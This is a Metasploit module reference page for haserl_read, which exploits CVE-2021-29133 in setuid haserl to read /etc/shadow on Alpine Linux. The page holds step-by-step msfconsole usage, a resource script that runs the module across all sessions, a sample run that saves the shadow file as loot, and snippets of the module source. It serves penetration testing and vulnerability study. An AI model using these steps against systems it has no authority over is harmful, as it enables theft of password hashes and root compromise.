Haserl Arbitrary File Reader - Metasploit
This page contains detailed information about how to use the post/linux/gather/haserl_read metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.
Module Overview
Name: Haserl Arbitrary File Reader
Module: post/linux/gather/haserl_read
Source code: modules/post/linux/gather/haserl_read.rb
Disclosure date: -
Last modification time: 2021-04-09 13:23:05 +0000
Supported architecture(s): -
Supported platform(s): Linux
Target service / protocol: -
Target network port(s): -
List of CVEs: CVE-2021-29133
This module exploits haserl prior to 0.9.36 to read arbitrary files. The most widely accepted exploitation vector is reading /etc/shadow, which will reveal root's hash for cracking.
Module Ranking and Traits
Module Ranking:
- normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.
Basic Usage
There are two ways to execute this post module.
From the Meterpreter prompt
The first is by using the "run" command at the Meterpreter prompt. It allows you to run the post module against that specific session:
meterpreter > run post/linux/gather/haserl_read
From the msf prompt
The second is by using the "use" command at the msf prompt. You will have to figure out which session ID to set manually. To list all session IDs, you can use the "sessions" command.
msf > use post/linux/gather/haserl_read
msf post(haserl_read) > show options
... show and set options ...
msf post(haserl_read) > set SESSION session-id
msf post(haserl_read) > exploit
If you wish to run the post against all sessions from framework, here is how:
1 - Create the following resource script:
framework.sessions.each_pair do |sid, session|
run_single("use post/linux/gather/haserl_read")
run_single("set SESSION #{sid}")
run_single("run")
end
2 - At the msf prompt, execute the above resource script:
msf > resource path-to-resource-script
Required Options
- SESSION: The session to run this module on.
Knowledge Base
Vulnerable Application
Haserl is an unmaintained tool to use LUA as CGI in web servers. On Linux, when haserl is suid root, it will attempt to drop its privilege to the uid/gid of the owner of the cgi script, similar to suexec in Apache.
Haserl could have been a thing of the past, but it's used in Alpine Linux' Alpine Configuration Framework, which is commonly used on this distribution.
This module exploits the fact that calling haserl on a file will make it not only change the effective UID, but also display the content of the file.
This has been fixed in version 0.9.36.
Prerequisites
- Install Alpine Linux
- Install haserl
Verification Steps
- Start msfconsole
- Get a shell
- Do:
use post/linux/gather/haserl_read
- Set
SESSION
- Do:
run
orexploit
- Verify that the file was successfully downloaded
Options
RFILE
Remote file to download, defaults to /etc/shadow
.
Scenarios
msf6 > use post/linux/gather/haserl_read
msf6 post(linux/gather/haserl_read) > show options
Module options (post/linux/gather/haserl_read):
Name Current Setting Required Description
---- --------------- -------- -----------
RFILE /etc/shadow yes File to read
SESSION 1 yes The session to run this module on.
msf6 post(linux/gather/haserl_read) > run
[!] SESSION may not be compatible with this module.
[+] Found set-uid haserl: /usr/bin/haserl-lua53
[+] Shadow saved in: /home/user/.msf4/loot/20210301204020_default_192.168.138.113_haserl_shadow_107368.txt
[*] Post module execution completed
msf6 post(linux/gather/haserl_read) >
Reference
- https://twitter.com/steaIth/status/1364940271054712842
Go back to menu.
Msfconsole Usage
Here is how the linux/gather/haserl_read post exploitation module looks in the msfconsole:
msf6 > use post/linux/gather/haserl_read
msf6 post(linux/gather/haserl_read) > show info
Name: Haserl Arbitrary File Reader
Module: post/linux/gather/haserl_read
Platform: Linux
Arch:
Rank: Normal
Provided by:
Julien (jvoisin) Voisin
Ike Broflovski
Compatible session types:
Meterpreter
Shell
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
RFILE /etc/shadow yes File to read
SESSION yes The session to run this module on.
Description:
This module exploits haserl prior to 0.9.36 to read arbitrary files.
The most widely accepted exploitation vector is reading /etc/shadow,
which will reveal root's hash for cracking.
References:
https://twitter.com/steaIth/status/1364940271054712842
https://gitlab.alpinelinux.org/alpine/aports/-/issues/12539
https://nvd.nist.gov/vuln/detail/CVE-2021-29133
Module Options
This is a complete list of options available in the linux/gather/haserl_read post exploitation module:
msf6 post(linux/gather/haserl_read) > show options
Module options (post/linux/gather/haserl_read):
Name Current Setting Required Description
---- --------------- -------- -----------
RFILE /etc/shadow yes File to read
SESSION yes The session to run this module on.
Advanced Options
Here is a complete list of advanced options supported by the linux/gather/haserl_read post exploitation module:
msf6 post(linux/gather/haserl_read) > show advanced
Module advanced options (post/linux/gather/haserl_read):
Name Current Setting Required Description
---- --------------- -------- -----------
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
Post Actions
This is a list of all post exploitation actions which the linux/gather/haserl_read module can do:
msf6 post(linux/gather/haserl_read) > show actions
Post actions:
Name Description
---- -----------
Evasion Options
Here is the full list of possible evasion options supported by the linux/gather/haserl_read post exploitation module in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):
msf6 post(linux/gather/haserl_read) > show evasion
Module evasion options:
Name Current Setting Required Description
---- --------------- -------- -----------
Go back to menu.
Error Messages
This module may fail with the following error messages:
Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.
Session already has root privileges
Here is a relevant code snippet related to the "Session already has root privileges" error message:
48: return files.select { |f| File.basename(f).starts_with?('haserl-lua') }
49: end
50:
51: def run
52: if is_root?
53: fail_with(Failure::BadConfig, 'Session already has root privileges')
54: end
55:
56: files = haserl_lua_paths
57:
58: if files.nil? || files.empty?
Could not find setuid haserl lua executable in /usr/bin/
Here is a relevant code snippet related to the "Could not find setuid haserl lua executable in /usr/bin/" error message:
54: end
55:
56: files = haserl_lua_paths
57:
58: if files.nil? || files.empty?
59: fail_with(Failure::NotVulnerable, 'Could not find setuid haserl lua executable in /usr/bin/')
60: end
61:
62: binary = files.first
63:
64: print_good("Found set-uid haserl: #{binary}")
Go back to menu.
Related Pull Requests
References
- https://twitter.com/steaIth/status/1364940271054712842
- https://gitlab.alpinelinux.org/alpine/aports/-/issues/12539
- CVE-2021-29133
See Also
Check also the following modules related to this module:
- post/linux/gather/checkcontainer
- post/linux/gather/checkvm
- post/linux/gather/ecryptfs_creds
- post/linux/gather/enum_commands
- post/linux/gather/enum_configs
- post/linux/gather/enum_containers
- post/linux/gather/enum_nagios_xi
- post/linux/gather/enum_network
- post/linux/gather/enum_protections
- post/linux/gather/enum_psk
- post/linux/gather/enum_system
- post/linux/gather/enum_users_history
- post/linux/gather/gnome_commander_creds
- post/linux/gather/gnome_keyring_dump
- post/linux/gather/hashdump
- post/linux/gather/manageengine_password_manager_creds
- post/linux/gather/mimipenguin
- post/linux/gather/mount_cifs_creds
- post/linux/gather/openvpn_credentials
- post/linux/gather/phpmyadmin_credsteal
- post/linux/gather/pptpd_chap_secrets
- post/linux/gather/tor_hiddenservices
- post/linux/gather/vcenter_secrets_dump
Authors
- Julien (jvoisin) Voisin
- Ike Broflovski
Version
This page has been produced using Metasploit Framework version 6.2.26-dev. For more modules, visit the Metasploit Module Library.
Go back to menu.